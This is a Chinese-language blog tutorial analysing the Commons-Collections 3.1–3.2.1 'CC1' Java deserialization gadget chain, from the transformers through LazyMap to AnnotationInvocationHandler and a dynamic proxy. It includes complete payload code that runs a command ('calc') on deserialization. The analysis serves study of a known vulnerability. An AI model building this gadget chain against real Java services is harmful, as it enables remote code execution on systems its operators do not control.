[JAVA反序列化初学2] Commons-Collections1链分析


前言

Java的第一个反序列化漏洞就是从commons-collections组件中发现的,从此打开了Java安全的新蓝图。commons-collections 框架是JDK 1.2之后中的一个重要补充。增加了许多强大的数据结构,加快了Java应用程序的开发。已经成为Java中公认的集合处理标准。下文中的CC1链适用于jdk1.8以前(8u71之后已修复不可利用),以及CC组件版本3.1-3.2.1。

一、利用ChainedTransformer链式执行Runtime.getRuntime().exec(cmd)

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换。

在这一部分中最后的payload如下:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

1.InvokerTransformer

为了弄明白这段payload为什么长这样,首先查看InvokerTransformer类。
InvokerTransformer
在构造函数中,只是简单的将值赋给对象的成员变量。
InvokerTransformer/transform
在InvokerTransformer中实现了转变的方法transform,会在map被改变的时候调用。在途中红色框中的代码块使用反射的方式,获得转变后的对象的类。然后第二行取得该类的一个方法,方法名(this.iMethodName)和对应的参数列表(this.iParamTypes)在构造函数中已经指定。第三行以输入的该对象来执行获得的这个方法,执行的参数(this.iArgs)也在构造函数中指定。

2.ChainedTransformer

使用Transformer数组构造成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

还是先看构造函数,只是将传入的Transformer数组存进成员变量。
ChainedTransformer
ChainedTransformer的transform函数中指定了将传入对象,按顺序执行transformers数组中的transform方法,前一个transformer的输出作为后一个transformer的输入。
ChainedTransformer/transform

3.ConstantTransformer

ConstantTransformer
ConstantTransformer就比较单纯了,构造时候输入的是什么对象,在变换的时候就会返回什么对象。

现在已经足够解释前面提过的payload片段了,创建了一个ChainedTransformer,可以在map被改变的时候连续执行里面的变换。数组的第一个元素是一个ConstantTransformer,用其直接返回Runtime的唯一类对象。紧接着将执行getMethod方法,反射获取getRuntime函数。然后调用invoke返回Runtime类的对象实例。接着调用Runtime的exec来执行命令。
chainedtransformer
大概就是产生了以下这样的调用

		Runtime c;
        c = ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null, (Object[]) null));
        c.exec("cmd");

然后把这条ChainedTransformer绑定在一个transformedMap对象上,当这个对象被改变的时候触发它。下列代码新建了一个HashMap,初始化一个键值对,然后通过该map创建一个TransformedMap,并且绑定一个chainedTransformer。接着对其序列化。然后模拟在目标服务上的反序列化,一旦目标在反序列化之后修改Map的值就会触发RCE。紧接着在修改值的地方执行了payload。

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("cgxx", "cgxx"); //初始化一个map
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);    //通过map创建一个transformedmap,将chainedTransformer绑定到transformedmap上

ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(b);
oos.writeObject(transformedMap);
byte[] ba = b.toByteArray();

ByteArrayInputStream BAIS = new ByteArrayInputStream(ba);
ObjectInputStream OIS = new ObjectInputStream(BAIS);
OIS.readObject();
Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
entry.setValue("Cgxx");

在这里插入图片描述

也就是说当攻击目标在反序列化之后改变map对象的值就可以达到命令执行。但到这里还不够,我们的目标是只要有反序列化就要RCE。

二、使用LazyMap延伸反序列化链

1.LazyMap

在我们payload中使用LazyMap的静态方法decorate来创造对象实例。如下,方法内部调用了该类的构造函数。
lazymap/decorate
lazymap/constructor
构造函数继承了Map对象实例的属性,并且把参数transformer(我们构造的chainedtransformer)存进this.factory。
接下来看到get函数中在没有该key时就会调用this.factory的transform方法(key作参数),就成功触发了我们前面构造的那根链。
lazymap/get
到这,我们接下来就可以把LazyMap和前面的链连接起来。用map构造lazymap,把chainedTransformer绑在lazymap上。那么目标只需要调用了反序列化之后的对象的get方法就可以导致命令执行。

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//攻击者将lazymap序列化

//目标反序列化后
lazyMap.get(map);	//导致命令执行

lazymap/get/exec
接下来就要找找哪里调用了get方法并且能够利用。

三、动态代理和AnnotationInvocationHandler

1.AnnotationInvocationHandler

在AnnotationInvocationHandler的invoke方法中发现了对成员变量的get方法的调用。
AnnotationInvocationHandler/invoke
查看到达此处的条件,从下往上倒推,
->需要var7为0,1,2以外的数字
->var4不为toString,hashCode,annotationType其中之一,并且var5.length为0,var4不为equals
->传入invoke的参数中的var2方法,方法名不为toString,hashCode,annotationType,equals,方法参数列表长度为0。
而该类的构造函数可以直接控制this.memberValues的值,那岂不是把LazyMap发进去就可以了。
在这里插入图片描述
可是invoke怎么触发呢?
这里就涉及到动态代理的概念。因为AnnotationInvocationHandler实现了InvocationHandler接口,所以可以利用动态代理执行invoke的特性来触发lazymap的get。
AnnotationInvocationHandler
将AnnotationInvocationHandler作为代理类,那么当动态代理的时候,就会触发。巧的是,AnnotationInvocationHandler的readObject,反序列化方法存在执行对象成员变量的无参方法entrySet(),而且也不是上面分析的几个方法之一,正好可以到达执行get方法那一步。
在这里插入图片描述
捋一下前面分析的链子,AnnotationInvocationHandler反序列化执行readobject到this.memberValues.entrySet触发动态代理,跳转到AnnotationInvocationHandler.invoke触发this.memberValues.get,跳转到LazyMap.get触发ChainedTransformer.transform。那就是说现在只要目标存在反序列化入口就可以达到代码执行了。接下来构造payload。

四、Payload

构造的payload,连接上前面的lazymap链后。通过反射取得AnnotationInvocationHandler类的构造器并设置setAccessible(true)允许访问内部私有域,否则无法创建实例(它的构造函数是私有函数),接着创建一个annotationInvocation放进h中,第二个参数会放进this.memberValues中,所以我们要将一个lazymap对象放进去。接着用newProxyInstance创建动态代理对象,指定代理对象的加载器为LazyMap类的加载器,第二个参数指定代理类实现的接口,第三个参数就是动态代理执行invoke方法的对象。完成动态代理Map的制作之后,再创建一个annotationInvocation类的对象实例,放入动态代理对象作为参数this.memberValue。

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); //返回AnnotationInvocationHandler类的构造函数
annotationInvocationdhdlConstructor.setAccessible(true);    //允许使用该构造器访问内部的私有域

InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap); 

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); 

Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, mapProxy);   

五、利用链总结

最后生成的对象o将前面动态代理Map的对象作为this.memberValues,在反序列化readobject时调用它的entrySet时就会触发动态代理,动态代理对象也是annotationInvocation的实例,但是它的this.memberValue放的是lazymap的对象,所以动态代理时调用invoke会触发lazymap的get方法紧接着就触发了ChainedTransformer.transform。

六、利用测试

payload生成:
在这里插入图片描述
生成序列化后被base64编码的payload。
在这里插入图片描述
解码后反序列化该数据即触发代码执行。
在这里插入图片描述

七、最后

这条链中比较难的一个部分是用到了动态代理的概念,之前也没有接触过,看了挺久终于弄了出来。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值